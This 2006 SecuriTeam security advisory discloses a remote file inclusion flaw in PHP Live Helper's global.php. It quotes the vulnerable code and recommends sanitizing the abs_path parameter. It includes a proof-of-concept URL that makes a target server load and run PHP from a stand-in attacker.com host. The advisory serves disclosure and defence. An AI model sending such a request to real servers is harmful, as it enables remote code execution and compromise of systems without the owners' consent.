[UNIX] PHP Live Helper File Inclusion
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 6 Aug 2006 17:33:27 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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PHP Live Helper File Inclusion
------------------------------------------------------------------------
SUMMARY
<http://www.turnkeywebtools.com/products.php?p=phplivehelper> PHP Live
Helper provides a "reliable real-time customer support and visitor
communication directly on your site". Input passed to the "abs_path"
parameter in global.php is not properly verified before being used. This
can be exploited to execute arbitrary PHP code by including files from
local or external resources.
DETAILS
Vulnerable code:
...
<?PHP
/*
global.php - 05/30/2006 - 5:27pm PST - 2.0
PHP Live Helper
http://www.turnkeywebtools.com/phplivehelper/
Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/
define('PLH_SESSION_START', '1');
////////////////////////////
// Load Class & Secure Files
////////////////////////////
require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
..
Proof of Concept:
The following URL will include the file found at attacker.com into the
execution path of the PHP environment:
http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?
Solution:
Sanitize variable $abs_path on global.php.
ADDITIONAL INFORMATION
The information has been provided by Ahmad Maulana a.k.a Matdhule.
The original article can be found at:
<http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt>
http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt
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